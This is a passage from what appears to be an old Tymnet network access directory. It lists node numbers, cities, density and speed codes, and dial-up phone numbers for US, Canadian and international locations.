2 C (1) 40‑01‑95 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑96 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑97 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑98 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑99 N TYMUSA 07414 Warren OH USA LOW B B C 216/392‑2555 Y 07417 San Francisco CA USA HIGH C 415/495‑7220 Y 07432 Lyndhurst/Union City NJ USA HIGH B B C 201/864‑8468 Y 07432 Union City NJ USA HIGH B B C 201/864‑8468 Y 07434 Davis CA USA LOW B B C 916/758‑3551 Y 07434 Woodland/Davis CA USA LOW B B C 916/758‑3551 Y 07437 Austin TX USA HIGH B B C 512/448‑1096 Y 07447 Butte MT USA LOW B B C 406/494‑6682 Y 07450 Dallas TX USA HIGH C 214/637‑3012 Y 07454 Terre Haute IN USA LOW B B C 812/232‑0112 Y 07455 Lafayette IN USA LOW B B C 317/423‑4616 Y 07456 Dubuque IA USA LOW B B C 319/582‑3599 Y 07457 Minot ND USA LOW B B C 701/838‑2140 Y 07460 Beloit WI USA LOW B B C 608/362‑4655 Y 07460 Janesville/Beloit WI USA LOW B B C 608/362‑4655 Y 07463 Hot Springs AR USA LOW B B C 501/623‑3576 Y 07464 Jonesboro AR USA LOW B B C 501/935‑7957 Y 07465 Cadillac MI USA LOW B B C 616/775‑9242 Y 07466 Muskegon MI USA LOW B B C 616/739‑3453 Y 07467 Port Huron MI USA LOW B B C 313/982‑0301 Y 07472 Mansfield OH USA LOW B B C 419/529‑3303 Y 07520 Atlanta/Doraville GA USA HIGH B B C 404/451‑3362 Y 07520 Doraville GA USA HIGH B B C 404/451‑3362 Y 07520 Marietta/Doraville GA USA HIGH B B C 404/451‑3362 Y 07520 Norcross/Doraville GA USA HIGH B B C 404/451‑3362 Y 07522 San Angelo TX USA LOW B B C 915/658‑4590 Y 07524 San Antonio TX USA HIGH B B C 512/222‑9877 Y 07525 Boston MA USA HIGH B B 617/439‑3400 N 07525 Cambridge/Boston MA USA HIGH B B 617/439‑3400 N 07533 Inglewood/Vernon CA USA HIGH C 213/588‑8128 Y 07533 Los Angeles/Vernon CA USA HIGH C 213/588‑8128 Y 07533 Vernon CA USA HIGH C 213/588‑8128 Y 07540 Calgary AB CAN CANH C C C 403/232‑6653 Y 07542 Sacramento CA USA HIGH C 916/442‑0992 N 07543 Sacramento CA USA HIGH C 916/442‑0851 N TYM‑X25 07547 Taunton MA USA LOW B B C 508/824‑3816 Y 07571 Salisbury MD USA LOW B B C 410/860‑0480 Y 07600 Bowling Green KY USA LOW B B C 502/781‑5711 Y 07602 All Cities ATG 3 B B 809/462‑0210 N TYMUSA 07603 All Cities ATG 3 B B 809/462‑0210 N TYMUSA 07607 Gastonia NC USA LOW B B C 704/867‑2203 Y 07617 Corpus Christi TX USA MED B B C 512/289‑7305 Y 07622 Manassas VA USA LOW B B C 703/330‑9070 Y 07625 Lowell MA USA LOW B B C 508/452‑5112 Y 07631 Auburn WA USA LOW B B C 206/735‑3975 Y 07631 Enumclaw/Auburn WA USA LOW B B C 206/735‑3975 Y 07636 Santa Fe NM USA LOW B B C 505/471‑0606 Y 07646 Monroe LA USA LOW B B C 318/388‑8810 Y 07650 Kokomo IN USA LOW B B C 317/453‑7818 Y 07651 Appleton WI USA LOW B B C 414/730‑8029 Y 07652 Corona CA USA LOW B B C 714/737‑5510 Y 07653 Poway CA USA LOW B B C 619/679‑0200 Y 07655 Norristown PA USA WATS B B C 800/###‑#### Y 07656 Norristown PA USA WATS B B C 800/###‑#### Y 07663 Birmingham GBR E1 C C C (21)632‑6636 Y 07675 Dundas ON CAN CANH C C C 416/628‑5908 Y 07676 Newport News VA USA MED B B C 804/596‑0898 Y 07677 Fitchburg/Leominster MA USA LOW B B C 508/537‑6451 Y 07677 Leominster MA USA LOW B B C 508/537‑6451 Y 07703 Inglewood/Vernon CA USA HIGH B B C 213/587‑7514 Y 07703 Los Angeles/Vernon CA USA HIGH B B C 213/587‑7514 Y 07703 Vernon CA USA HIGH B B C 213/587‑7514 Y 07712 Vero Beach FL USA LOW B B C 407/569‑8207 Y 07714 Meridian MS USA LOW B B C 601/482‑4335 Y 07717 Baytown TX USA LOW B B C 713/420‑3389 Y 07720 Miami FL USA HIGH C 305/599‑9996 N TYM‑X25 07720 Miami FL USA HIGH C 305/599‑9997 N TYM‑X25 07721 Freeport IL USA LOW B B C 815/232‑7111 Y 07723 Dothan AL USA LOW B B C 205/794‑7954 Y 07724 Miami FL USA HIGH C 305/592‑2357 Y 07725 Panama City FL USA LOW B B C 904/769‑0709 Y 07726 Leavenworth KS USA LOW B B C 913/651‑8094 Y 07730 Salina KS USA LOW B B C 913/825‑4845 Y 07731 Cicero/Maywood IL USA LOW B B C 708/345‑9100 Y 07731 Forest Park/Maywood IL USA LOW B B C 708/345‑9100 Y 07731 Maywood IL USA LOW B B C 708/345‑9100 Y 07733 Marion IN USA LOW B B C 317/662‑1928 Y 07735 Attleboro MA USA LOW B B 508/226‑6441 N 07737 Lynchburg VA USA LOW B B C 804/846‑0213 Y 07743 Holyoke/Springfield MA USA MED B B C 413/787‑0048 Y 07743 Springfield MA USA MED B B C 413/787‑0048 Y 10021 Houston TX USA HIGH B B C 713/496‑1332 Y 10021 Houston TX USA HIGH C 713/589‑7593 N TYM‑X25 10021 Houston TX USA HIGH C 713/589‑7591 N TYM‑X25 10027 Kannapolis NC USA LOW B B C 704/932‑4131 Y 10031 Bedford MA USA LOW B B C 617/271‑0420 Y 10031 Woburn/Bedford MA USA LOW B B C 617/271‑0420 Y 10033 Bend OR USA LOW B B C 503/389‑0146 Y 10034 Baltimore MD USA HIGH C 410/659‑7460 Y 10040 Columbus OH USA HIGH C 614/224‑0436 N TYM‑X25 10040 Columbus OH USA HIGH C 614/224‑0427 N TYM‑X25 10052 Napa CA USA LOW B B C 707/257‑6810 Y 10061 Buffalo NY USA MED B B 716/893‑1306 N 10066 Williamsport PA USA LOW B B C 717/321‑8520 Y 10070 New York NY USA HIGH C 212/269‑4640 Y 10071 York PA USA LOW B B C 717/852‑8186 Y 10075 Blountville TN USA LOW B B C 615/323‑1962 Y 10100 Corvallis OR USA LOW B B C 503/757‑6341 Y 10103 Ann Arbor MI USA MED C 313/973‑0166 Y 10105 Camden/Pennsauken NJ USA MED B B C 609/665‑5902 Y 10105 Cherry hill/Pennskn NJ USA MED B B C 609/665‑5902 Y 10105 Pennsauken NJ USA MED B B C 609/665‑5902 Y 10110 Newark NJ USA HIGH C 201/824‑4130 N TYM‑X25 10110 Elizabeth/Newark NJ USA HIGH C 201/824‑4130 N TYM‑X25 10110 Jersey City/Newark NJ USA HIGH C 201/824‑4130 N TYM‑X25 10110 Union/Newark NJ USA HIGH C 201/824‑4130 N TYM‑X25 10110 Elizabeth/Newark NJ USA HIGH C 201/824‑4128 N TYM‑X25 10110 Jersey City/Newark NJ USA HIGH C 201/824‑4128 N TYM‑X25 10110 Newark NJ USA HIGH C 201/824‑4128 N TYM‑X25 10110 Union/Newark NJ USA HIGH C 201/824‑4128 N TYM‑X25 10113 Fairfield/Westport CT USA MED B B C 203/454‑2129 Y 10113 Norwalk/Westport CT USA MED B B C 203/454‑2129 Y 10113 Westport CT USA MED B B C 203/454‑2129 Y 10122 Hull/Ottawa ON CAN CANH C C C 613/563‑2910 N 10122 Ottawa ON CAN CANH C C C 613/563‑2910 N 10124 Cologne FRG E1 C C C (221)210196 N 10130 Sacramento CA USA HIGH B B C 916/447‑7434 Y 10151 Portland OR USA HIGH C 503/225‑1233 N TYM‑X25 10153 South Brunswick NJ USA HIGH C 609/452‑8011 N TYM‑X25 10153 South Brunswick NJ USA HIGH C 609/452‑8388 Y 10153 Princeton/So. Brnswk NJ USA HIGH C 609/452‑8011 N TYM‑X25 10153 Princeton/So. Brnswk NJ USA HIGH C 609/452‑8388 Y 10170 Johnstown PA USA LOW B B C 814/539‑5059 Y 10171 Jamestown NY USA LOW B B 716/488‑0794 N 10172 Somers CT USA LOW B B C 203/763‑3521 Y 10204 Austin TX USA HIGH B B C 512/448‑1096 Y 10211 Atlanta/Doraville GA USA HIGH C 404/455‑9285 N TYM‑X25 10211 Marietta/Doraville GA USA HIGH C 404/455‑9285 N TYM‑X25 10211 Norcross/Doraville GA USA HIGH C 404/455‑9285 N TYM‑X25 10211 Doraville GA USA HIGH C 404/455‑9285 N TYM‑X25 10211 Atlanta/Doraville GA USA HIGH C 404/455‑7540 N TYM‑X25 10211 Doraville GA USA HIGH C 404/455‑7540 N TYM‑X25 10211 Marietta/Doraville GA USA HIGH C 404/455‑7540 N TYM‑X25 10211 Norcross/Doraville GA USA HIGH C 404/455‑7540 N TYM‑X25 10212 Hamilton OH USA LOW B B 513/874‑1744 N 10213 Ocala FL USA LOW B B C 904/732‑3707 Y 10217 Atlanta/Doraville GA USA HIGH B B C 404/451‑3362 Y 10217 Doraville GA USA HIGH B B C 404/451‑3362 Y 10217 Marietta/Doraville GA USA HIGH B B C 404/451‑3362 Y 10217 Norcross/Doraville GA USA HIGH B B C 404/451‑3362 Y 10233 Cleveland OH USA HIGH B B C 216/861‑6709 Y 10234 Cleveland OH USA HIGH C C 216/696‑0363 N TYM‑X25 10242 San Jose CA USA HIGH C 408/954‑8481 N TYM‑X25 10242 Los Altos/San Jose CA USA HIGH C 408/954‑8481 N TYM‑X25 10242 Santa Clara/San Jose CA USA HIGH C 408/954‑8481 N TYM‑X25 10242 Sunnyvale/San Jose CA USA HIGH C 408/954‑8481 N TYM‑X25 10242 San Jose CA USA HIGH C 408/954‑8476 N TYM‑X25 10242 Los Altos/San Jose CA USA HIGH C 408/954‑8476 N TYM‑X25 10242 Santa Clara/San Jose CA USA HIGH C 408/954‑8476 N TYM‑X25 10242 Sunnyvale/San Jose CA USA HIGH C 408/954‑8476 N TYM‑X25 10243 Huntington WV USA LOW B B C 304/529‑2091 Y 10250 Inglewood/Vernon CA USA HIGH B B C 213/587‑7514 Y 10250 Los Angeles/Vernon CA USA HIGH B B C 213/587‑7514 Y 10250 Vernon CA USA HIGH B B C 213/587‑7514 Y 10254 Atlanta/Doraville GA USA HIGH C 404/451‑1546 Y 10254 Doraville GA USA HIGH C 404/451‑1546 Y 10254 Marietta/Doraville GA USA HIGH C 404/451‑1546 Y 10254 Norcross/Doraville GA USA HIGH C 404/451‑1546 Y 10255 Laredo TX USA LOW B B C 512/727‑8308 Y 10256 Hampton VA USA MED B B C 804/727‑0572 Y 10261 Sheboygan WI USA LOW B B C 414/457‑6128 Y 10264 Pittsburgh PA USA HIGH C 412/642‑7703 N TYM‑X25 10264 Pittsburgh PA USA HIGH C 412/642‑2386 N TYM‑X25 10267 Springfield MA USA MED B B C 413/787‑0048 Y 10267 Holyoke/Springfield MA USA MED B B C 413/787‑0048 Y 10274 Tucson AZ USA MED B B C 602/297‑2239 Y 10301 Abilene TX USA LOW B B C 915/676‑0091 Y 10305 Gadsden AL USA LOW B B C 205/543‑3550 Y 10307 Ann Arbor MI USA MED B B C 313/973‑7935 Y 10317 Kenosha WI USA LOW B B C 414/553‑9044 Y 10317 Racine/Kenosha WI USA LOW B B C 414/553‑9044 Y 10320 Iowa City IA USA LOW B B C 319/354‑3633 Y 10325 Inglewood/Vernon CA USA HIGH B B C 213/587‑7514 Y 10325 Los Angeles/Vernon CA USA HIGH B B C 213/587‑7514 Y 10325 Vernon CA USA HIGH B B C 213/587‑7514 Y 10334 Monterey CA USA LOW B B C 408/375‑2644 Y 10337 Louisville KY USA MED B B 502/499‑7110 N 10346 Portsmouth/Norfolk VA USA MED B B C 804/857‑0148 Y 10346 Virginia Bch/Norfolk VA USA MED B B C 804/857‑0148 Y 10346 Norfolk VA USA MED B B C 804/857‑0148 Y 10355 Longwood/Orlando FL USA MED C 407/839‑0555 Y 10355 Orlando FL USA MED C 407/839‑0555 Y 10361 Alexandria/Fairfax VA USA HIGH B B C 703/352‑3136 Y 10361 Arlington/Fairfax VA USA HIGH B B C 703/352‑3136 Y 10361 Fairfax VA USA HIGH B B C 703/352‑3136 Y 10361 Washington/Fairfax DC USA HIGH B B C 703/352‑3136 Y 10361 Bethesda/Fairfax MD USA HIGH B B C 703/352‑3136 Y 10363 El Segundo CA USA MED B B C 310/643‑4228 Y 10363 Mar Vista/El Segundo CA USA MED B B C 310/643‑4228 Y 10363 MarinaDelRey/El Sgnd CA USA MED B B C 310/643‑4228 Y 10363 Santa Monica/El Sgnd CA USA MED B B C 310/643‑4228 Y 10402 Rockville MD USA LOW B B C 301/294‑4522 Y 10404 Lyon FRA E1 C C C (7) 8478144 Y 10430 Inglewood/Vernon CA USA HIGH B B C 213/587‑7514 Y 10430 Los Angeles/Vernon CA USA HIGH B B C 213/587‑7514 Y 10430 Vernon CA USA HIGH B B C 213/587‑7514 Y 10436 Concord/Walnut Creek CA USA LOW B B C 510/935‑1507 Y 10436 Pacheco/Walnut Creek CA USA LOW B B C 510/935‑1507 Y 10436 Pleasnthill/Walnt Ck CA USA LOW B B C 510/935‑1507 Y 10436 Walnut Creek CA USA LOW B B C 510/935‑1507 Y 10464 Quebec City QU CAN CANH C C C 418/647‑1116 Y 10467 Colorado Springs CO USA MED B B C 719/590‑1003 Y 10470 Arlington/Fort Worth TX USA MED B B C 817/332‑9397 Y 10470 Fort Worth TX USA MED B B C 817/332‑9397 Y 10472 Windsor NY USA LOW B B 914/561‑9103 N 10506 Johnson City TN USA LOW B B C 615/928‑9544 Y 10516 Charlottesville VA USA LOW B B C 804/977‑5661 Y 10526 Houston TX USA HIGH B B C 713/496‑1332 Y 10542 McKinney TX USA LOW B B C 214/542‑2641 Y 10543 Akron OH USA MED B B 216/376‑6227 N 10552 Salem OR USA LOW B B C 503/370‑4314 Y 10560 Muncie IN USA LOW B B C 317/281‑9021 Y 10567 Durham NC USA HIGH B B C 919/549‑9025 Y 10567 Chapel Hill/Durham NC USA HIGH B B C 919/549‑9025 Y 10570 Bozeman MT USA LOW B B C 406/585‑9719 Y 10574 Hilo HI USA MED B B C 808/935‑5717 N 10601 Augusta ME USA LOW B B C 207/622‑3083 Y 10602 Cape Girardeau MO USA LOW B B C 314/335‑1518 Y 10603 Elyria OH USA LOW B B C 216/324‑7156 Y 10604 Florence SC USA LOW B B C 803/664‑0550 Y 10605 Kingston NY USA LOW B B C 914/336‑2790 Y 10612 Montreal/St. Laurent QU CAN CANH C C C 514/747‑2996 Y 10612 St. Laurent QU CAN CANH C C C 514/747‑2996 Y 10615 Secane PA USA LOW B B C 215/543‑3045 Y 10621 Princeton/So. Brnswk NJ USA HIGH B B 609/452‑1018 N 10621 South Brunswick NJ USA HIGH B B 609/452‑1018 N 10622 South Brunswick NJ USA HIGH B B C 609/452‑9529 Y 10622 Princeton/So. Brnswk NJ USA HIGH B B C 609/452‑9529 Y 10631 Honolulu HI USA MED B B 808/545‑7610 N 10632 Honolulu HI USA MED C 808/528‑5300 Y 10665 Tulsa OK USA HIGH B B C 918/585‑2706 Y 10666 Tulsa OK USA HIGH B B C 918/585‑2706 Y 10673 Springfield MO USA LOW B B C 417/881‑6225 Y 10703 Tortola VGB 3 C C C 809/494‑3993 N TYMUSA 10705 Atlanta/Doraville GA USA HIGH B B 404/451‑2208 N 10705 Doraville GA USA HIGH B B 404/451‑2208 N 10705 Marietta/Doraville GA USA HIGH B B 404/451‑2208 N 10705 Norcross/Doraville GA USA HIGH B B 404/451‑2208 N 10710 New York NY USA HIGH B B 212/943‑4700 N 10713 Houston TX USA HIGH C 713/870‑8381 Y 10726 Winnipeg MB CAN CANH N 10727 Lawton OK USA LOW B B C 405/353‑6987 Y 10730 Grand Island NE USA LOW B B C 308/382‑3176 Y 10750 Steubenville/Wntsvl OH USA LOW B B C 614/284‑0020 Y 10750 Wintersville OH USA LOW B B C 614/284‑0020 Y 10753 El Segundo CA USA MED B B C 310/643‑4228 Y 10753 Mar Vista/El Segundo CA USA MED B B C 310/643‑4228 Y 10753 MarinaDelRey/El Sgnd CA USA MED B B C 310/643‑4228 Y 10753 Santa Monica/El Sgnd CA USA MED B B C 310/643‑4228 Y 11003 Bangor ME USA LOW B B C 207/990‑0529 Y 11010 Southfield MI USA MED C 313/557‑2106 Y 11012 Lincoln NE USA LOW B B C 402/464‑6235 Y 11013 Eugene OR USA LOW B B C 503/343‑0044 Y 11013 Springfield/Eugene OR USA LOW B B C 503/343‑0044 Y 11014 Waco TX USA LOW B B C 817/776‑0880 Y 11015 Killeen TX USA LOW B B C 817/526‑8118 Y 11026 Slidell LA USA LOW B B C 504/646‑2900 Y 11030 Atlanta/Doraville GA USA HIGH B B 404/451‑2208 N 11030 Doraville GA USA HIGH B B 404/451‑2208 N 11030 Marietta/Doraville GA USA HIGH B B 404/451‑2208 N 11030 Norcross/Doraville GA USA HIGH B B 404/451‑2208 N 11035 Clearwater FL USA MED B B C 813/441‑1621 Y 11035 St. Petersbrg/Clrwtr FL USA MED B B C 813/441‑1621 Y 11052 Eureka CA USA LOW B B C 707/445‑3021 Y 11053 Provo UT USA LOW B B 801/373‑2192 N 11054 Corpus Christi TX USA MED C 512/289‑1981 Y 11061 Hong Kong HKG HK C C C 877‑2602 N 11063 Cumberland MD USA LOW B B C 301/777‑9320 Y 11067 Auburn ME USA LOW B B C 207/795‑6013 Y 11067 Lewiston/Auburn ME USA LOW B B C 207/795‑6013 Y 11074 London GBR E1 C C C (81)566‑7260 Y 11100 Naples FL USA LOW B B C 813/434‑8080 Y 11105 Memphis TN USA MED B B C 901/527‑8122 Y 11107 Vancouver BC CAN HIG C 604/682‑6054 N TYM‑X25 11110 Dusseldorf FRG E1 C C C (211)596871 Y 11114 Calgary AB CAN CANH C 403/264‑5472 Y 11120 El Paso TX USA MED B B C 915/533‑1453 Y 11121 El Paso TX USA MED B B C 915/533‑1453 Y 11123 Buffalo NY USA MED B B C 716/893‑1014 Y 11130 Houston TX USA HIGH B B C 713/496‑1332 Y 11141 Amsterdam NLD E1 2041290546 N DN‑1 11144 Grand Rapids MI USA MED C 616/458‑9252 N 11150 Chicago IL USA WATS B B C 800/###‑#### Y 11151 Chicago IL USA WATS B B C 800/###‑#### Y 11152 Chicago IL USA WATS B B C 800/###‑#### Y 11156 Alexandria/Fairfax VA USA HIGH B B C 703/352‑3136 Y 11156 Arlington/Fairfax VA USA HIGH B B C 703/352‑3136 Y 11156 Fairfax VA USA HIGH B B C 703/352‑3136 Y 11156 Washington/Fairfax DC USA HIGH B B C 703/352‑3136 Y 11156 Bethesda/Fairfax MD USA HIGH B B C 703/352‑3136 Y 11160 Chicago IL USA WATS C 800/###‑#### Y 11161 Winston‑Salem NC USA MED B B C 919/765‑1221 Y 11162 Charleston SC USA LOW B B C 803/553‑0860 Y 11207 O'Fallon IL USA LOW B B C 618/632‑3993 Y 11223 London GBR E1 C C C (71)489‑8571 N 11224 Monterey CA USA LOW B B C 408/375‑2644 Y 11225 London GBR E1 C C C (71)489‑8571 N 11231 Lancaster PA USA LOW B B C 717/569‑1081 Y 11236 Lansing MI USA MED B B C 517/484‑5344 Y 11237 Columbia SC USA MED B B C 803/254‑7563 Y 11240 Greenville SC USA MED B B C 803/271‑9213 Y 11241 Mobile AL USA MED B B C 205/460‑2515 Y 11242 Lake Zurich/Palatine IL USA LOW B B C 708/991‑7171 Y 11242 Palatine IL USA LOW B B C 708/991‑7171 Y 11251 Denton TX USA LOW B B C 817/565‑0552 Y 11252 Vancouver WA USA LOW B B C 206/574‑0427 Y 11257 Little Rock AR USA MED B B C 501/666‑6886 Y 11266 Fort Collins CO USA LOW B B C 303/224‑9819 Y 11267 Amarillo TX USA LOW B B C 806/355‑7088 Y 11270 San Rafael CA USA LOW B B C 415/453‑2087 Y 11271 Cathedral City CA USA LOW B B C 619/324‑0920 Y 11271 Palm Sprngs/Cath Cty CA USA LOW B B C 619/324‑0920 Y 11272 Moorpark CA USA LOW B B C 805/523‑0203 Y 11273 San Clemente CA USA LOW B B C 714/240‑9424 Y 11274 Mishawaka/South Bend IN USA MED B B C 219/234‑6410 Y 11274 South Bend IN USA MED B B C 219/234‑6410 Y 11275 Bridgeport CT USA MED B B C 203/332‑7256 Y 11275 Stratford/Bridgeport CT USA MED B B C 203/332‑7256 Y 11276 Syracuse NY USA MED B B C 315/433‑1593 Y 11277 Alexandria/Fairfax VA USA HIGH B B C 703/352‑3136 Y 11277 Arlington/Fairfax VA USA HIGH B B C 703/352‑3136 Y 11277 Fairfax VA USA HIGH B B C 703/352‑3136 Y 11277 Washington/Fairfax DC USA HIGH B B C 703/352‑3136 Y 11277 Bethesda/Fairfax MD USA HIGH B B C 703/352‑3136 Y 11300 Toledo OH USA MED B B C 419/255‑7705 Y 11301 Harrisburg/Lemoyne PA USA MED B B C 717/975‑9881 Y 11301 Lemoyne PA USA MED B B C 717/975‑9881 Y 11304 Newark/Wilmington DE USA MED B B C 302/652‑2036 Y 11304 Wilmington DE USA MED B B C 302/652‑2036 Y 11305 Lyndhurst/Union City NJ USA HIGH C 201/617‑9069 Y 11305 Union City NJ USA HIGH C 201/617/9069 Y 11305 Union City NJ USA HIGH C 201/617‑9110 N TYM‑X25 11305 Lyndhurst/Union City NJ USA HIGH C 201/617‑9110 N TYM‑X25 11305 Lyndhurst/Union City NJ USA HIGH C 201/617‑9103 N TYM‑X25 11305 Union City NJ USA HIGH C 201/617‑9103 N TYM‑X25 11306 Holyoke/Springfield MA USA MED B B C 413/787‑0048 Y 11306 Springfield MA USA MED B B C 413/787‑0048 Y 11307 Rockford IL USA MED B B C 815/633‑2080 Y 11313 Little Rock AR USA MED C 501/666‑1224 Y 11314 Alameda/Oakland CA USA HIGH C 510/638‑7904 Y 11314 Berkeley/Oakland CA USA HIGH C 510/638‑7904 Y 11314 Hayward/Oakland CA USA HIGH C 510/638‑7904 Y 11314 Oakland CA USA HIGH C 510/638‑7904 Y 11315 Oakridge TN USA LOW B B C 615/482‑1466 Y 11321 Northport AL USA LOW B B C 205/758‑1116 Y 11321 Tuscaloosa/Northport AL USA LOW B B C 205/758‑1116 Y 11322 Augusta/Martinez GA USA LOW B B C 404/855‑0442 Y 11322 Martinez GA USA LOW B B C 404/855‑0442 Y 11323 Owensboro KY USA LOW B B C 502/685‑0959 Y 11326 Toronto ON CAN CANH C 416/361‑3028 Y 11326 Toronto ON CAN CANH C C 416/361‑3383 N TYM‑X25 11331 Midlothian/Richmond VA USA MED B B C 804/330‑2673 Y 11331 Richmond VA USA MED B B C 804/330‑2673 Y 11346 Ft. Lauderdale FL USA MED C 305/779‑3445 Y 11346 Ft. Lauderdale FL USA MED B B C 305/467‑1870 Y 11346 Hollywd/Ft. Laudrdle FL USA MED C 305/779‑3445 Y 11346 Hollywd/Ft. Laudrdle FL USA MED B B C 305/467‑1870 Y 11346 Pompno Bch/Fr. Ldrdl FL USA MED B B C 305/467‑1870 Y 11346 Pompno Bch/Ft. Ldrdl FL USA MED C 305/779‑3445 Y 11356 Asheville NC USA LOW B B C 704/253‑8945 Y 11361 London GBR E1 C C C (81)566‑7260 Y 11362 Stamford CT USA HIGH B B C 203/327‑2974 Y 11371 Santa Barbara CA USA MED B B 805/564‑2354 N 11372 Santa Barbara CA USA MED B B C 805/965‑1612 Y 11376 New Orleans LA USA HIGH C 504/524‑1738 Y 11402 Modesto CA USA LOW B B C 209/527‑0150 Y 11405 Marlborough MA USA LOW B B C 508/481‑0026 Y 11447 Seattle WA USA HIGH B B C 206/281‑7141 Y 11447 Bellevue/Seattle WA USA HIGH B B C 206/281‑7141 Y 11451 Battle Creek MI USA LOW B B C 616/964‑9303 Y 11452 Harrisonburg VA USA LOW B B C 703/433‑6333 Y 11453 Groton MA USA LOW B B C 508/448‑9361 Y 11460 Chicago IL USA HIGH C 312/427‑1506 N TYM‑X25 11460 Chicago IL USA HIGH C 312/427‑1453 N TYM‑X25 11465 Munich FRG E1 C C C (89)129‑6081 Y 11471 Clarksburg WV USA LOW B B C 304/624‑1451 Y 11500 Salt Lake City UT USA HIGH C 801/364‑7605 Y 11500 Salt Lake City UT USA HIGH C 801/364‑7439 N TYM‑X25 11500 Salt Lake City UT USA HIGH C 801/364‑7451 N TYM‑X25 11646 Hazelwood MO USA HIGH B B C 314/731‑8283 Y 11646 St. Louis MO USA HIGH B B C 314/731‑8283 Y 11646 Bridgeton/St. Louis MO USA HIGH B B C 314/731‑8283 Y 11652 Tampa FL USA HIGH C 813/933‑7095 N TYM‑X25 11652 Tampa FL USA HIGH C 813/933‑7303 N TYM‑X25 11671 Rochester MN USA LOW B B C 507/282‑0830 Y 11702 Georgetown DE USA LOW B B C 302/856‑1788 Y 11716 Greensburg PA USA LOW B B C 412/838‑1920 Y 11716 Latrobe/Greensburg PA USA LOW B B C 412/838‑1920 Y 11727 Huntsville AL USA MED Y 205/882‑9199 Y 11730 Alhambra CA USA MED B B C 818/308‑1800 Y 11730 Arcadia/Alhambra CA USA MED B B C 818/308‑1800 Y 11730 El Monte/Alhambra CA USA MED B B C 818/308‑1800 Y 11730 Pasadena/Alhambra CA USA MED B B C 818/308‑1800 Y 11732 Zurich CHE E1 C C C (1) 837‑0301 Y 11736 Leeds GBR E1 C (532) 341838 Y 11741 Duluth MN USA LOW B B C 218/722‑0655 Y 11743 Northfield IL USA LOW B B C 708/501‑4536 Y 11744 Bristol GBR E1 C (272) 255392 Y 11745 Hamburg FRG E1 C C C (40)251‑4037 Y 11752 West Bend WI USA LOW B B C 414/334‑1755 Y 11753 St. Cloud MN USA LOW B B C 612/656‑1280 Y 11754 Victoria TX USA LOW B B C 512/576‑9200 Y 11764 Portsmouth/Norfolk VA USA MED B B C 804/857‑0148 Y 11764 Virginia Bch/Norfolk VA USA MED B B C 804/857‑0148 Y 11764 Norfolk VA USA MED B B C 804/857‑0148 Y 12026 Columbia MO USA LOW B B C 314/875‑5570 Y 12031 Presque Isle ME USA LOW B B C 207/764‑4167 Y 12044 New Haven CT USA MED C 203/789‑1848 Y 12045 Memphis TN USA MED C 901/521‑1303 Y 12054 Fayetteville NC USA LOW B B C 919/424‑9610 Y 12063 St. Louis MO USA HIGH B B C 314/731‑8283 Y 12063 Bridgeton/St. Louis MO USA HIGH B B C 314/731‑8283 Y 12066 Nashville TN USA HIGH B B C 615/889‑5790 Y 12101 Belleville/O'Fallon IL USA LOW B B C 618/632‑3993 Y 12150 Gary IN USA LOW B B C 219/884‑7450 Y 12150 Hammond/Gary IN USA LOW B B C 219/884‑7450 Y 12150 Highland/Gary IN USA LOW B B C 219/884‑7450 Y 12151 Gary IN USA LOW B B C 219/884‑7450 Y 12151 Hammond/Gary IN USA LOW B B C 219/884‑7450 Y 12151 Highland/Gary IN USA LOW B B C 219/884‑7450 Y 12161 Rotterdam NLD E1 C C C C (10) 4530099 Y 12161 Rotterdam NLD E1 C (10) 4524923 N HSA 12161 Rotterdam NLD E1 C C C C (10) 4532002 Y 12201 Washington/Fairfax DC USA HIGH B B 703/691‑8200 N 12201 Bethesda/Fairfax VA USA HIGH B B 703/691‑8200 N 12201 Alexandria/Fairfax VA USA HIGH B B 703/691‑8200 12201 Arlington/Fairfax VA USA HIGH B B 703/691‑8200 12201 Fairfax VA USA HIGH B B 703/691‑8200 12263 Lakeland FL USA LOW B B C 813/858‑6970 Y 12263 Winterhaven/Lakeland FL USA LOW B B C 813/858‑6970 Y 12314 Freeland MI USA LOW B B C 517/695‑6751 Y 12314 Midland/Freeland MI USA LOW B B C 517/695‑6751 Y 12314 Saginaw/Freeland MI USA LOW B B C 517/695‑6751 Y 12361 Aurora/Denver CO USA HIGH B B C 303/832‑3447 Y 12361 Boulder/Denver CO USA HIGH B B C 303/832‑3447 Y 12361 Denver CO USA HIGH B B C 303/832‑3447 Y 12371 Bremen FRG E1 C C C (421) 170997 Y 12425 El Centro CA USA LOW B B C 619/352‑5823 Y 12456 Fairfield CA USA LOW B B C 707/421‑0106 Y 12460 Victorville CA USA LOW B B C 619/955‑7050 Y 12513 Tallahassee FL USA MED C 904/422‑0016 Y 12513 Tallahassee FL USA MED B B C 904/422‑0149 Y 12514 Jacksonville FL USA MED B B C 904/721‑8559 Y 12516 Watertown NY USA LOW B B C 315/788‑1816 Y 12533 Lancaster CA USA LOW B B C 805/945‑4962 Y 12534 Maui HI USA LOW B B C 808/661‑7688 Y 12600 Meriden CT USA LOW B B C 203/686‑1238 Y 12600 Middletown/Meriden CT USA LOW B B C 203/686‑1238 Y 12601 Aiken SC USA LOW B B C 803/648‑0237 Y 12611 London ON CAN CANL C C C 519/641‑8362 Y 12620 Honolulu HI USA MED C 808/528‑5300 Y 12621 Paducah KY USA LOW B B C 502/443‑1086 Y 12622 Dover DE USA LOW B B C 302/678‑3569 Y 12624 Marysville CA USA LOW B B C 916/749‑8015 Y 12626 Great Falls MT USA LOW B B C 406/727‑9510 Y 12642 Los Gatos CA USA LOW B B C 408/356‑1818 Y 12650 Paris FRA E1 C C C (1)47728080 Y 12720 Birmingham AL USA HIGH B B C 205/942‑7898 Y 12732 Midland TX USA LOW B B C 915/561‑8401 Y 12732 Odessa/Midland TX USA LOW B B C 915/561‑8401 Y 12742 Zanesville FL USA LOW B B C 614/454‑2893 Y new svc 12755 Bismark ND USA LOW B B C 701/223‑5165 Y 13010 Houston TX USA HIGH B B C 713/496‑1332 Y 13026 Spokane WA USA MED B B C 509/747‑3011 Y 13103 Sarasota FL USA LOW B B C 813/952‑9000 Y 13104 Goteborg SWE E2 C C C (31)450630 Y 13110 Rochester MN USA LOW B B C 507/282‑0830 Y 13120 Dallas TX USA HIGH B B C 214/630‑5516 Y 13121 Downrs Grove/Gln Eln IL USA MED B B C 708/790‑4955 Y 13121 Glen Ellyn IL USA MED B B C 708/790‑4955 Y 13121 Wheaton/Glen Ellyn IL USA MED B B C 